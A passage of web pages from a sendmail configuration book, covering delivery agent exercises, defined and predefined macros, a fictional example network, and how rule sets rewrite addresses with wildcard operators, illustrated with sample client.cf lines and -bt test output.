6.3 The local Delivery Agent | Book Index | 6.5 Things to Try


[Chapter 6] 6.5 Things to Try

sendmailSearch this book
Previous: 6.4 Add the Missing Parts to Mhub Chapter 6
The Mail Hub and Delivery Agents 		Next: 7. Macros

6.5 Things to Try

  • Create a mail delivery agent definition that has no symbolic name or one that has what you suspect is an illegal name. What happens when you run sendmail with the -d0.15 command-line argument?

  • Define two different mail delivery agents that have the same symbolic name. Does sendmail catch the error, or does it replace the first with the second?

  • Make a typo in one of the equates. For example, instead of S=6, enter s=6. What happens?

  • The P= equate is used to state the full pathname of the program that delivers the mail message. Since the parts are separated from each other by commas, is it possible to include a comma in that pathname? If so, how? Use -d0.15 to test your proposals.

  • What happens if the program shown in the P= equate does not exist or if that program is not executable? Is this detected by sendmail when the sendmail.cf file is read?

  • The A= equate specifies the command-line arguments that are given to the P= program when it is run. Can you include commas in those command-line arguments?

  • When a line in the sendmail.cf file begins with a space or tab character, it is joined (appended) to the line above it. Try splitting delivery agents over multiple lines for readability using this mechanism. Test the result with the -d0.15 debugging switch (review Section 6.2.1, "Testing the client.cf File").

    Mhub,           # Delivery agent definition to forward mail to hub
    P=[IPC],    #  use SMTP over the network
    S=0,        #  no sender rewriting
    R=0,        #  no recipient rewriting
    F=m,        #  flag: deliver to more than one user at a time
    F=D,        #  flag: include Date: in the header
    F=F,        #  flag: include From: in the header
    F=M,        #  flag: include Message-ID: in the header
    F=u,        #  flag: preserve the case of the recipient name
    F=X,        #  flag: pass lone dots on a line by doubling
    F=a,        #  flag: run extended SMTP protocol
    T=DNS/RFC822/SMTP,
    A=IPC $h

  • Gather all of the lines in your system's current sendmail.cf file that define mail delivery agents. In each of the lines printed, you will see one field that declares the full path of a mail delivery program. For each of those P= fields, locate and read the online manual page for the program specified. Do the arguments in the A= field make sense to you?

Previous: 6.4 Add the Missing Parts to Mhub | sendmail | Next: 7. Macros
6.4 Add the Missing Parts to Mhub | Book Index | 7. Macros


[Chapter 7] Macros

sendmailSearch this book
Previous: 6.5 Things to Try Chapter 7 Next: 7.2 Defining Macros

7. Macros

Contents:
Overview
Defining Macros
Predefined Macros
Things to Try

One of the major strengths of the sendmail.cf file is that it allows text to be referenced symbolically. This is very similar to how variables in the Bourne and C shells are used:

REMOTE=mailhost            <-  Bourne shell
set REMOTE=mailhost        <-  C shell
D{REMOTE}mailhost          <-  sendmail.cf file

The statements above all cause a variable with the name REMOTE to be assigned the value mailhost.

The expression for using (referencing) the value stored in REMOTE is similar for all three:

$REMOTE                <-  Bourne shell
$REMOTE                <-  C shell
${REMOTE}              <-  sendmail.cf file

That is, all of the above expressions yield the value stored in REMOTE, in this case the text mailhost. Once you define the value of REMOTE as mailhost, you can use the expression ${REMOTE} anywhere you need to use the text mailhost.

7.1 Overview

Macros can greatly simplify your work. They allow you to represent text symbolically and to define it in one central place. Changes in that text are automatically propagated to the rest of the file. For example, consider the following definition in your sendmail.cf file:

D{REMOTE}mailhost

If you use the expression ${REMOTE} anywhere in that file, a single change to the definition of D{REMOTE}mailhost changes the value of ${REMOTE} throughout the entire file.

Here is the format for defining macros:

DXtext

The letter D must begin the line. The D is immediately followed by the name of the macro, here X, with no intervening space. The name is then followed (again with no intervening space) by the text (value) for the macro's definition. The value is all the text up to the end of the line. [1]

[1] Trailing whitespace is automatically stripped in V8.7 but not in earlier versions. Leading whitespace is not, so the D, name, and text must be right smack against each other.

Macros may have single-character names or multicharacter names. Multicharacter names must always be enclosed in curly braces. Single-character names may be enclosed in curly braces if you desire. Prior to V8.7 you could use single characters only without curly braces.

DRmailhost              <-  single-character name (prior to V8.7)
D{R}mailhost            <-  same beginning with V8.7
D{REMOTE}mailhost       <-  multicharacter name (beginning with V8.7)

Except for header and delivery agent configuration commands, [2] macros, in general, are expanded (the text replaces the symbol) when the configuration file is read. Consequently, you must define them before you use them:

[2] And configuration commands for which macros make no sense and are ignored.

D{ROLE}son
S${ROLE}                  <-  use the text value ``son''
D{ROLE}mother
S${ROLE}                  <-  use the text value ``mother''

Here, ROLE was first given the value son. When the first S command is processed, sendmail replaces the expression ${ROLE} with its current value to form

Sson

Then ROLE is redefined and given a different value, that of mother. The second S command is processed, and its ${ROLE} is replaced with the new value:

Smother

Please note that this is very bad style. In general, each macro should be defined only once to avoid confusion.

Previous: 6.5 Things to Try | sendmail | Next: 7.2 Defining Macros
6.5 Things to Try | Book Index | 7.2 Defining Macros


[Chapter 7] 7.2 Defining Macros

sendmailSearch this book
Previous: 7.1 Overview Chapter 7
Macros 		Next: 7.3 Predefined Macros

7.2 Defining Macros

In the previous chapter you roughed out delivery agent definitions for the hub and local delivery agents. Notice that the last part of each, the A= command-line part, ended with a macro:

V7
# Delivery agent definition to forward mail to hub
Mhub,   P=[IPC], S=0, R=0, F=mDFMuXa, T=DNS/RFC822/SMTP, A=IPC $h
# Sendmail requires this, but we won't use it.
Mlocal, P=/bin/mail, F=lsDFMAw5:/|@rmn, S=0, R=0, A=mail -d $u

                                                          macros

There are two kinds of macros: those that you define and those that sendmail defines. Macros that begin with uppercase letters, such as R and {REMOTE}, are ones that you optionally define. Those that begin with a lowercase letter, such as h and u, are ones that sendmail either defines or requires you to define.

You have already seen an example of an uppercase macro:

D{REMOTE}mailhost

This gives the macro named {REMOTE} the value mailhost.

Somewhere on your network, there may be a machine whose alias is mailhost or something similar, such as mailrelay. This is the alias of the machine that serves your site's mail hub. If no such alias exists, you must use an actual machine name (such as mail.us.edu). Now edit \%client.cf, and add your first macro, {REMOTE}:

V7
# Defined macros                                            <-  new
D{REMOTE}mailhost         # The name of the mail hub        <-  new
                                                            <-  new
# Delivery agent definition to forward mail to hub
Mhub,   P=[IPC], S=0, R=0, F=mDFMuXa, T=DNS/RFC822/SMTP, A=IPC $h
# Sendmail requires this, but we won't use it.
Mlocal, P=/bin/mail, F=lsDFMAw5:/|@rmn, S=0, R=0, A=mail -d $u

Here, three new lines have been added to the client.cf file. The first is a comment, and the third is a blank line to visually separate macro definitions from delivery agent definitions. The second line is the new macro definition. As the comment says, this {REMOTE} macro will contain as its value the name of the host to which all mail will be forwarded.

Take a moment to test this new version of the client.cf file:

% ./sendmail -Cclient.cf -bt </dev/null

The sendmail program reads and parses the client.cf file. There are no errors in the client.cf file, so sendmail prints no error messages.

Previous: 7.1 Overview | sendmail | Next: 7.3 Predefined Macros
7.1 Overview | Book Index | 7.3 Predefined Macros


[Chapter 7] 7.3 Predefined Macros

sendmailSearch this book
Previous: 7.2 Defining Macros Chapter 7
Macros 		Next: 7.4 Things to Try

7.3 Predefined Macros

The sendmail program internally defines many macros for you. You have already seen u (which contains the recipient's username) and h (which contains the recipient's hostname) in our delivery agent definitions. They are given values by sendmail instead of being given values with D macro definitions in your configuration file. A short list of some of the more common predefined macros is shown in Table 7.1.

Table 7.1: Some Predefined Macros
Macro | Description
n | Identity of the error message sender
v | Version of the currently running sendmail
w | The short hostname
j | The canonical hostname
m | The domain name
k | The UUCP node name
b | Date in RFC1123 format
_ | Identification information
opMode | Current operating mode (beginning with V8.7)

To watch the processing of all the macro definitions, run sendmail once again. This time, add a -d35.9 debugging switch, which tells sendmail to print each macro as it is defined:

% ./sendmail -d35.9 -Cclient.cf -bt < /dev/null

The output that is produced is surprisingly long, considering the small size of the client.cf file:

define(* as $*)
define(+ as $+)
define(- as $-)
define(= as $=)
define(~ as $~)
define(# as $#)
define(@ as $@)
define(: as $:)
define(> as $>)
define(? as $?)
define(| as $|)
define(. as $.)
define([ as $[)
define(] as $])
define(( as $()
define() as $))
define(& as $&)
define(0 as $0)
define(1 as $1)
define(2 as $2)
define(3 as $3)
define(4 as $4)
define(5 as $5)
define(6 as $6)
define(7 as $7)
define(8 as $8)
define(9 as $9)
define(n as MAILER-DAEMON)                               <-  note
define(v as 8.8.4)                                       <-  note
define(w as here.us.edu)                                 <-  note
define(j as here.us.edu)                                 <-  note
define(m as us.edu)                                      <-  note
define(k as here)                                        <-  note
define(b as Fri, 13 Dec 1996 07:11:47 -0700 (PDT))       <-  note
define(_ as you@localhost)                               <-  note
define(opMode as t)                                      <-  note
redefine(w as here)                                      <-  note
define(REMOTE as mailhost)                               <-  note

This output will differ from version to version. For example, l, o, and e were macros prior to V8.7 but, beginning with V8.7, are now options. The first 27 lines of this output show sendmail reserving macro names that will be used as operators. (Operators are introduced in the next chapter.) The last 11 definitions are the only ones we are interested in for now. The first 10 of those are internally defined by sendmail for your use. The last definition is caused by sendmail processing the D{REMOTE}mailhost line in the client.cf file.

This output demonstrates another concept. Some internal macros are defined before the configuration file is read, so you can change them from inside your client.cf file. To change w, for example, you might place the following into your configuration file:

Dwmyhost.my.domain

Doing this would then cause the text myhost.my.domain to replace the text here.us.edu as the value of the macro named w.

Note that in the preceding output there were no definitions for the h and u macros used in the delivery agent definitions. These macros, although internally defined, are not actually given values until mail is sent. You cannot change their values from within your configuration file, because they are not defined until after the configuration file is read.

Finally, note that proper defaults are set only by V8 sendmail. All older versions require you to manually provide defaults for the e, l, n, o, and q macros in your client.cf file.

7.3.1 The hostname

The name of your local machine is composed of two parts. The host part is the machine name and never contains a dot (such as here). The domain part is composed of at least two parts separated from each other by dots (such as us.edu). The fully qualified name of your local machine is made by specifying the host part, then a dot, and finally the domain part (e.g., here.us.edu). The machine's name needs to be fully qualified to uniquely identify it worldwide.

The name of the local machine also needs to be canonical (official and fully qualified). A machine can have multiple names (such as mailhost or printserver), of which only one is official. The official name for the local machine can be found by issuing the hostname(1) command:

% hostname
here.us.edu

The official name, when fully qualified with a domain, is the canonical name of the machine. Any other names are aliases. [3]

[3] We are fudging for simplicity. The canonical name is the name associated with the DNS A record. If a machine has multiple network interfaces (and therefore multiple A records), it can have multiple canonical names.

To see how sendmail interprets your local hostname, enter the following command, which uses the -d0.1 debugging switch:

% ./sendmail -Cclient.cf -d0.1 -bt </dev/null
Version 8.8.4
 Compiled with: LOG NAMED_BIND NDBM NETINET NETUNIX NIS SCANF XDEBUG

============ SYSTEM IDENTITY (after readcf) ============
      (short domain name) $w = here
  (canonical domain name) $j = here.us.edu
         (subdomain name) $m = us.edu
              (node name) $k = here
========================================================

Many things can go wrong here. For example, if you're not on the Internet, you may not have assigned your machine a domain name yet. Or you may be running NIS and have listed only the short name in the hosts.byname map. The important thing to observe in the above output is that sendmail correctly found your short and canonical names:

      (short domain name) $w = here             <-  short hostname
  (canonical domain name) $j = here.us.edu      <-  fully qualified canonical name
         (subdomain name) $m = us.edu           <-  domain

If any are wrong, you need to fix the system problem that led to the error. At the system level, investigate:

  • The /etc/hosts file. You may have wrongly listed only short names in it. Prior to V8.7, a fully qualified name had to be listed first. Beginning with V8.7, a fully qualified name can appear anywhere in a line.

  • The nis maps. Make sure hostnames are looked up with DNS by specifying the -b in /var/yp/Makefile.

  • The nsswitch.conf or svc.conf files. Make sure the method used to look up hosts is correctly specified.

If you can't find or don't have permission to fix things at the system level, you can fix them in your client.cf file. Suppose, for example, that the canonical name showed up as the short hostname:

  (canonical domain name) $j = here             <-  wrong

To fix this, you would need to redefine the j macro with a D command in the client.cf file:

Dj$w.$m               # The local official domain name

This defines the canonical (fully qualified official) name to be the same as the local hostname ($w) with a dot and the domain name ($m) appended. Rerunning sendmail as above would now display the correct information:

  (canonical domain name) $j = here.us.edu      <-  correct

In a similar manner you can fix $w and $m if either of them is wrong. But here we should stress that sendmail goes to great lengths to get this information right.

Previous: 7.2 Defining Macros | sendmail | Next: 7.4 Things to Try
7.2 Defining Macros | Book Index | 7.4 Things to Try


[Chapter 7] 7.4 Things to Try

sendmailSearch this book
Previous: 7.3 Predefined Macros Chapter 7
Macros 		Next: 8. Addresses and Rules

7.4 Things to Try

  • Macro names that begin with uppercase letters are for your use. Names that begin with lowercase letters are reserved for sendmail's use. Twenty-seven special characters are also reserved by sendmail for use as operators. What happens if you try to define a macro whose name is another character, such as a tab or an underscore?

  • What happens if you try to define a macro whose name is an operator?

  • Using the -d35.9 command-line switch, determine what happens if you define two macros, each with the same name.

  • Any sendmail.cf command may be continued and extended by beginning the next line with a tab or a space. Using the -d35.9 command-line switch, determine the effect of continuing a macro definition. For example,

    D{FOO}something
tab   somethingmore

  • The text value of a macro must immediately follow the name of that macro, with no intervening space. Can the text value contain arbitrary spaces or tabs?

  • Using grep(1), find all the D commands in your site's actual sendmail.cf file. If you find any that begin with a lowercase letter and that you haven't seen before, try looking them up in Chapter 31, Defined Macros.

Previous: 7.3 Predefined Macros | sendmail | Next: 8. Addresses and Rules
7.3 Predefined Macros | Book Index | 8. Addresses and Rules


[Chapter 8] Addresses and Rules

sendmailSearch this book
Previous: 7.4 Things to Try Chapter 8 Next: 8.2 Why Rules?

8. Addresses and Rules

Contents:
A Fictional Network
Why Rules?
Rule Sets
Rules
The Workspace
The Flow of Addresses Through Rules
Wildcard Operators
Things to Try

Before delving into the inner workings of rules, we need to create a fictional network to provide a common ground for discussing mail addresses.

8.1 A Fictional Network

Consider the network shown in Figure 8.1. It consists of three sites (the clouds) that are interconnected by high-speed networks (the solid lines). Each site is a DNS domain composed of many individual computers. Each domain is set up differently, as we will show, but from the user's point of view, the process of sending mail from a machine in one domain to a machine in another is the same in all cases.

Figure 8.1: Domains in our fictional network

A domain name is interpreted right to left. The com in .acme.com, for example, means that acme is a part of the top-level domain com (for commercial). There are many commercial sites in the com top-level domain, but only one acme among them. Similarly, edu is the top-level domain for educational institutions (such as colleges and universities), and gov is the top-level domain for government organizations.

A domain can consist of many machines. Each machine inside a domain has a fully qualified domain name that consists of a hostname, a dot, and then its domain name. For example, sec.acme.com is a fully qualified domain name because it consists of the hostname sec, a dot, then the domain name acme.com.

Host and domain names are case-insensitive. That is, sec.acme.com may be expressed in any of the following ways:

sec.acme.com         <-  good
SEC.Acme.COM         <-  also good
sEc.aCmE.cOm         <-  ugly, but also good

8.1.1 The dc.gov Domain

Figure 8.2 shows the dc.gov domain from the inside. It is composed of three machines (although in the real world it might be composed of many more). These three machines are connected together on a private network for security (the solid lines). Only one machine, fbi.dc.gov, has a connection to the outside world. Mail from the outside world always goes to fbi.dc.gov first; from there it is forwarded to the appropriate machine on the internal network. For example, the user george eventually receives his mail on his own machine (wash.dc.gov), even though that mail is first handled by fbi.dc.gov.

Figure 8.2: The dc.gov domain is accessible only through fbi.dc.gov

The fbi.dc.gov machine is called a gateway because it forms a gate between the internal and external networks through which all network traffic (such as mail) must flow. It is also called a forwarder, because it accepts mail for machines on the internal network, then forwards mail to them.

Despite the presence of a gateway, users in .dc.gov still receive mail on their individual machines. Inside .dc.gov, mail from one machine to another goes directly over the internal network. The gateway is not involved. But mail destined for the outside world must always first go to the gateway, which then forwards that mail over the outside network.

Mail that is addressed to the domain (dc.gov rather than a specific machine such as wash.dc.gov) will be delivered to the gateway machine. Unfortunately, in our fiction the gateway does not know about any of the users at other machines in the domain. As a consequence, mail to a user at the domain (user@dc.gov) will bounce.

8.1.2 The acme.com Domain

Figure 8.3 shows the .acme.com domain. It is different from .dc.gov because all machines are connected directly to the outside world and to one another.

Figure 8.3: All machines in acme.com connect to the outside world

All machines can directly receive mail from the outside world. For example, the user tim receives and reads his mail on the machine boss.acme.com, but unlike the previous network, there is no gateway.

Like fbi.dc.gov, the machine sec.acme.com will receive all mail addressed to the domain acme.com. But unlike the gateway fbi.dc.gov, sec.acme.com knows about all the users in its domain. [1] So mail to tim@acme.com will be correctly forwarded to tim at boss.acme.com.

[1] It runs nis (formerly Yellow Pages) and can mount the home directories of all users.

8.1.3 The us.edu Domain

Figure 8.4 shows a third way to set up a domain. In this domain, all mail (both inside and outside) is delivered to the machine mail.us.edu. Unlike the previous two examples, no mail is ever delivered to the other machines. Instead, it is delivered into the master spool directory on mail.us.edu. The other machines then network mount that directory so that users can read their mail from any machine.

Figure 8.4: Only mail.us.edu receives mail in the domain us.edu

Under this system, mail addresses need to contain only the name of the local recipient, an @, and the name of the domain (such as user@us.edu). This arrangement eliminates the need for users elsewhere in the world to know any specific machine's name.

All three forms of domains have their advantages and disadvantages. We don't favor any one above another. In this and the chapters to follow, we consider our machine to be in the us.edu domain. We selected it only because it allows the simplest sendmail configuration file to be used.

8.1.4 UUCP and Host Paths

In addition to our fictional network, consider two hosts that are connected to acme.com using dial-up lines (see Figure 8.5). Under UUCP, one needs to know exactly how hosts are connected in order to send mail to any one of them. To get from sec.acme.com to sonya, for example, the mail needs to go through lady first.

Figure 8.5: UUCP connections to sec.acme.com

Previous: 7.4 Things to Try | sendmail | Next: 8.2 Why Rules?
7.4 Things to Try | Book Index | 8.2 Why Rules?


[Chapter 8] 8.2 Why Rules?

sendmailSearch this book
Previous: 8.1 A Fictional Network Chapter 8
Addresses and Rules 		Next: 8.3 Rule Sets

8.2 Why Rules?

Rules in a sendmail.cf file are used to rewrite (modify) mail addresses, to detect errors in addressing, and to select mail delivery agents. Addresses need to be rewritten because they can be specified in many ways, yet are required to be in particular forms by delivery agents. To illustrate, consider Figure 8.6 and the address

friend@uuhost

Figure 8.6: Rules modify addresses, detect errors, and select delivery agents

If the machine uuhost were connected to yours over a dial-up line, mail would likely be sent by UUCP, which requires addresses to be expressed in UUCP form:

uuhost!friend

Another role of sendmail.cf rules is to detect (and reject) errors on the machine from which the mail originated. This prevents them from propagating over the network. Mail to an address without a username is one such error:

@neighbor

It is better to detect this kind of error as early as possible, rather than having the host neighbor reject it.

Delivery agents are the means used by sendmail to actually transmit or deliver mail messages. Rules examine the address of each envelope recipient and select the appropriate delivery agent. For example,

root@here.us.edu

Here, rules detect that here.us.edu is the name of the local machine and then select the local delivery agent to perform final delivery to the user root's system mailbox.

In the previous two chapters you were introduced to delivery agent and macro definitions. In this chapter we will begin our coverage of rule sets: the way those rule sets process addresses.

Previous: 8.1 A Fictional Network | sendmail | Next: 8.3 Rule Sets
8.1 A Fictional Network | Book Index | 8.3 Rule Sets


[Chapter 8] 8.3 Rule Sets

sendmailSearch this book
Previous: 8.2 Why Rules? Chapter 8
Addresses and Rules 		Next: 8.4 Rules

8.3 Rule Sets

Sequences of rules are grouped together into rule sets. Each set is similar to a subroutine. A rule set is declared with the S command, which must begin a line in sendmail.cf. For example:

S0

This begins the declaration of the rules that form rule set number 0. Rule sets are numbered starting from 0. [2] Sets 0 through 5 [3] are internally defined by sendmail to have very specific purposes, as shown in Table 8.1. We'll expand on them throughout the rest of the tutorial. Rule-set definitions may appear in any order in the configuration file. For example, rule set S5 may be defined first, followed by S2 and then S7. The rule sets are gathered when the sendmail.cf file is read and are then sorted internally by sendmail.

[2] Beginning with V8.7, rule sets may have symbolic names too. We show this in Chapter 11, Rule Sets 1 and S=.

[3] Other rule sets may be used by future versions of sendmail, so avoid using rule sets 6 through 9.

Table 8.1: The Purposes of Rule Sets
Rule Set | Purpose
0 | Resolve a mail delivery agent
1 | Process sender address
2 | Process recipient address
3 | Preprocess all addresses
4 | Postprocess all addresses
5 | Rewrite unaliased local users

The client.cf file contains no rule-set definitions yet. To observe the effect of nonexistent rules, rerun sendmail on that file:

% ./sendmail -Cclient.cf -bt
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
>

The -bt command-line switch causes sendmail to run in address-testing mode. In this mode, sendmail waits for you to type a rule set and an address. [4] It then shows you how the rule set rewrites the address. At the > prompt, you can now enter an address by specifying a rule-set number, then a space, and then a mail address:

[4] V8.7's rule-testing mode can do much more (see Section 38.1, "Overview").

> 0 gw@wash.dc.gov
rewrite: ruleset  0   input: gw @ wash . dc . gov
rewrite: ruleset  0 returns: gw @ wash . dc . gov
>

The rule set specified is 0, but you can specify any number.

The rewrite: word that begins each line of address-testing mode output is there simply to distinguish rewriting lines when they are mixed with other kinds of debugging output. The input means that sendmail placed the address into the workspace (more about this soon). The returns shows the result after the rule set has rewritten that address on the basis of its rules.

The address that is fed to sendmail, gw@wash.dc.gov, is first split into parts (tokens) based on two sets of separating characters. Both are defined internally. One can be changed in your configuration file; [5] the other cannot:

[5] Prior to V8.7, the o macro was used in the configuration file to define different or more characters. Beginning with V8.7, the OperatorChars option is used instead.

.:@[]            <-  you can change these
()<>,;\"\r\n     <-  you cannot change these

The two sets are combined into one, and the result is used to separate the various parts of email addresses. The address gw@wash.dc.gov is divided into seven tokens because the @ and dot are both in the list of separation characters.

rewrite: ruleset  0   input: gw @ wash . dc . gov
rewrite: ruleset  0 returns: gw @ wash . dc . gov

The input: line shows seven tokens passed to rule set 0. The returns: line shows, since there is no rule set 0, that the undefined - pty) rule set returns those tokens unchanged.

If a rule set is undefined, the result is the same as if it were defined but had no rules associated with it. It is like a C language subroutine that contains nothing but a return statement. It does nothing and produces no errors.

Previous: 8.2 Why Rules? | sendmail | Next: 8.4 Rules
8.2 Why Rules? | Book Index | 8.4 Rules


[Chapter 8] 8.4 Rules

sendmailSearch this book
Previous: 8.3 Rule Sets Chapter 8
Addresses and Rules 		Next: 8.5 The Workspace

8.4 Rules

Each rule set may contain zero or more individual rules. Rules begin with the R configuration command, and each rule is composed of three parts:

S0
Rlhs      rhs       comment

The first line, the S0, declares the start of rule set 0. All the lines following the S line and beginning with R belong to that rule set. A new rule set begins when another S line with a different number appears. [6]

[6] If another S line appears with the same number, sendmail will print a warning. Prior to V8.7, the second definition wiped out the first. Beginning with V8.7, the second rule set's rules are appended to the rules of the first.

Each R line is a separate rule in the series of rules that form a rule set. In the sendmail.cf files of major mail-handling sites, a given rule set can have a huge number of rules. But our hypothetical rule set 0 will have only one rule and hence only one line that begins with an R:

S0
Rlhs      rhs       optional comment

            tab        tab

Each rule has three distinct parts, each divided from the others by one or more tab characters. You can use space characters inside each part, but you must use tabs to separate the parts.

The leftmost part of the rule is called the LHS, for left-hand side. The middle part is called the RHS, for right-hand side. These form the rule. A comment may optionally follow the RHS and (if present) must be separated from the RHS by one or more tab characters.

The LHS and RHS form an if-then pair. If the LHS evaluates to true, the RHS is evaluated. If the LHS evaluates to false, sendmail skips to the next rule in the rule set (if there is one):

 if true   ->          do this
   -v            -v
Rlhs         rhs
   -v
otherwise, go to next rule

Previous: 8.3 Rule Sets | sendmail | Next: 8.5 The Workspace
8.3 Rule Sets | Book Index | 8.5 The Workspace


[Chapter 8] 8.5 The Workspace

sendmailSearch this book
Previous: 8.4 Rules Chapter 8
Addresses and Rules 		Next: 8.6 The Flow of Addresses Through Rules

8.5 The Workspace

Whether the LHS test is true or false is determined by making comparisons. When an address is processed by a rule set for rewriting, sendmail first tokenizes it, then stores those tokens internally in a buffer called the workspace:

"gw" "@" "wash" "." "gov"    <-  in the workspace

When the LHS of a rule is evaluated, it too is tokenized; then those tokens are compared to the tokens in the workspace. If both the workspace and the LHS contain exactly the same tokens, a match is found, and the result of the LHS comparison is true. Now, for illustration, create a demo rule by temporarily adding the following two lines to the end of the client.cf file:

S0
Rleft.side     new.stuff

Don't forget that the LHS is separated from the RHS by tab characters. Now run sendmail in rule-testing mode, just as you did before:

% ./sendmail  -Cclient.cf -bt
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
>

In rule-testing mode you can view rules with the =S command (see Section 38.4.1, "Show Rules in a Rule Set with =S"). [7] Try it now:

[7] One of several brand-new -bt commands introduced with V8.7 sendmail.

> =S 0
Rleft . side            new . stuff
>

This shows that sendmail found only one rule for rule set 0, the one we created.

Now enter rule set 0 and a typical email address at the prompt:

> 0 gw@wash.dc.gov
rewrite: ruleset  0   input: gw @ wash . dc . gov
rewrite: ruleset  0 returns: gw @ wash . dc . gov
>

The address was not rewritten by the rule because the workspace and the LHS did not exactly match:

gw@wash.dc.gov                 <-  the workspace

      don't match
        -v
Rleft.side     new.stuff       <-  the rule

Now, at the prompt, enter the exact text that appears in the LHS of the demo rule:

> 0 left.side
rewrite: ruleset  0   input: left . side
rewrite: ruleset  0 returns: new . stuff

An amazing thing has happened. The rule has actually rewritten an address. The address left.side was given to rule set 0 and rewritten by the rule in that rule set to become the address new.stuff. This transformation is possible because the workspace and the LHS exactly match each other, so the result of the LHS comparison is true:

left.side           <-  the workspace

      exact match, so: ``true''
        -v
Rleft.side     new.stuff

      if true,      then do this

Before leaving this demo rule set, perform one final experiment. Enter the uppercase text LEFT.SIDE:

> 0 LEFT.SIDE
rewrite: ruleset  0   input: LEFT . SIDE
rewrite: ruleset  0 returns: new . stuff
>

Notice that the workspace and the LHS are still considered to match, even though they now differ by case. This illustrates that all comparisons between the workspace and the LHS of rules are done in a case-insensitive manner. This property enables rules to be written without the need to distinguish between uppercase and lowercase letters.

Previous: 8.4 Rules | sendmail | Next: 8.6 The Flow of Addresses Through Rules
8.4 Rules | Book Index | 8.6 The Flow of Addresses Through Rules


[Chapter 8] 8.6 The Flow of Addresses Through Rules

sendmailSearch this book
Previous: 8.5 The Workspace Chapter 8
Addresses and Rules 		Next: 8.7 Wildcard Operators

8.6 The Flow of Addresses Through Rules

When rule sets contain many rules, addresses flow from the first rule that is declared through the last (top down). To illustrate, remove the demo rule that you added to the client.cf file, and replace it with three new demo rules:

Rleft.side     new.stuff            <-  remove
Rx     y                            <-  new
Rz     x                            <-  new
Rx     w                            <-  new

Remember that the LHS of each rule must be separated from the RHS by one or more tab characters.

Before you test these new rules, consider what they do. The first rule rewrites any x in the workspace into a y. The second rule rewrites any z in the workspace into an x. The last rule rewrites any x that it finds in the workspace into a w.

Now run sendmail in rule-testing mode once again:

% ./sendmail -Cclient.cf -bt
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
>

Enter rule set 0 and the letter x:

> 0 x
rewrite: ruleset  0   input: x
rewrite: ruleset  0 returns: y

This shows that any x in the workspace is rewritten by the first rule to become a y. The new workspace is carried down to the second rule, where it fails, then to the third rule, where it also fails:

 x            <-  the original workspace

 exact match, so: ``true''
   -v
Rx     y      <-  first rule rewrites
 y            <-     the workspace to be this

 does not match, so skip
   -v
Rz     x      <-  second rule
 y            <-     the workspace is still this

 does not match, so skip
   -v
Rx     w      <-  third rule
 y            <-     the workspace is still this

The important point here is that each rule matches its LHS to the current contents of the workspace. Preceding rules may have modified that workspace. The third rule, for example, tries to match an x but fails because the first rule changed our x into a y.

Now enter rule set 0 and the letter z:

> 0 z
rewrite: ruleset  0   input: z
rewrite: ruleset  0 returns: w

Notice that any z in the workspace is rewritten to be a w. Look at the flow of the z through the rules to see why this happened:

 z            <-  the original workspace

 does not match, so skip
   -v
Rx     y      <-  first rule
 z            <-     the workspace remains this

 exact match, so ...
   -v
Rz     x      <-  second rule rewrites
 x            <-     the workspace to be this

 exact match, so ...
   -v
Rx     w      <-  third rule rewrites
 w            <-     the workspace to be this

In this instance the first rule does nothing. The second rule matches the z and changes the workspace into an x. The third rule sees the rewritten workspace. It changes the x (the current contents of the workspace) into a w.

Now feed one more letter into sendmail in rule-testing mode. This time, enter anything other than an x or z:

> 0 b
rewrite: ruleset  0   input: b
rewrite: ruleset  0 returns: b

Here, the workspace remains unchanged because b does not match the left-hand side in any of the three rules. If the LHS of a rule fails to match the workspace, that rule is skipped, and the workspace remains unchanged.

Previous: 8.5 The Workspace | sendmail | Next: 8.7 Wildcard Operators
8.5 The Workspace | Book Index | 8.7 Wildcard Operators


[Chapter 8] 8.7 Wildcard Operators

sendmailSearch this book
Previous: 8.6 The Flow of Addresses Through Rules Chapter 8
Addresses and Rules 		Next: 8.8 Things to Try

8.7 Wildcard Operators

Rules would be pretty useless if they always had to match the workspace exactly. Fortunately, that is not the case. In addition to literal text, you can also use wildcard operators that allow the LHS of rules to match arbitrary text in the workspace. To illustrate, consider this rule:

R$+     rhs is here

 lhs

This LHS begins with the first character following the R. The LHS in this example is

$+

This is a wildcard operator. The truth of this if statement is determined by a process called pattern matching. The LHS $+ (a single token) is a pattern that means "match one or more tokens." The address that is being evaluated is tokenized and placed into the workspace, and then the workspace is compared to that pattern:

gw@wash.dc.gov
    -v
  tokenized into
    -v
gw @ wash . dc . gov     <-  in the workspace

When matching the workspace to an LHS pattern, sendmail scans the workspace from left to right. Each token in the workspace is compared to the wildcard operator (the $+) in the LHS pattern. If the tokens all match the pattern, the if part of the if-then pair is true.

The $+ wildcard operator simply matches any one or more tokens:

workspace                 pattern
gw               $+         <-  match one token (``one'')
@                           <-  and optionally more (``or more'')
wash                        -v
.
dc
.
gov

As you can see, if there are any tokens in the address at all (the workspace is not empty), the LHS rule $+ evaluates to true.

8.7.1 Other Text in the LHS

A rule of $+ (match one or more tokens) is not sufficient to handle all possible addresses (especially bad addresses):

gw@wash.dc.gov          <-  $+ should match and does
@wash.dc.gov            <-  $+ matches an incomplete address

To make matching in the LHS more effective, sendmail allows other text to appear in the pattern. To make sure that the address in the workspace contains a user part, the @ character, and a host part, the following LHS pattern can be used:

$+@$+

Just like the address in the workspace, this pattern is tokenized before it is compared for a match. Wildcard operators (like $+) count as one token, and @ is a token because it is a separator character:

.:@[]            <-  you can change these
()<>,;\"\r\n     <-  you cannot change these

The pattern of $+@$+ is separated into three tokens:

$+ @ $+

Text in the pattern must match text in the workspace exactly (token for token) if there is to be a match. A good address in the workspace (one containing a user part and a host part) will match our new LHS ($+@$+):

workspace                 pattern
gw              $+         <-  match one or more
@               @          <-  match exactly
wash            $+         <-  match one
.                          -v    or more
dc
.
gov

Here, the flow of matching begins with the first $+, which matches one token (of the one or more) in the workspace. The @ matches the identical token in the workspace. At this point, the $+@ part of the pattern has been satisfied. All that remains is for the final $+ to match its one or more of all the remaining tokens in the workspace, which it does.

A bad address in the workspace, on the other hand, will not match the pattern. Consider an address, for example, that lacks a user part:

@wash.dc.gov		  <-  in the workspace

workspace                 pattern
@               $+	  <-  match one
wash			  <-    or more
.
dc
.
gov
                @		  <-  match exactly (fails!)
                $+

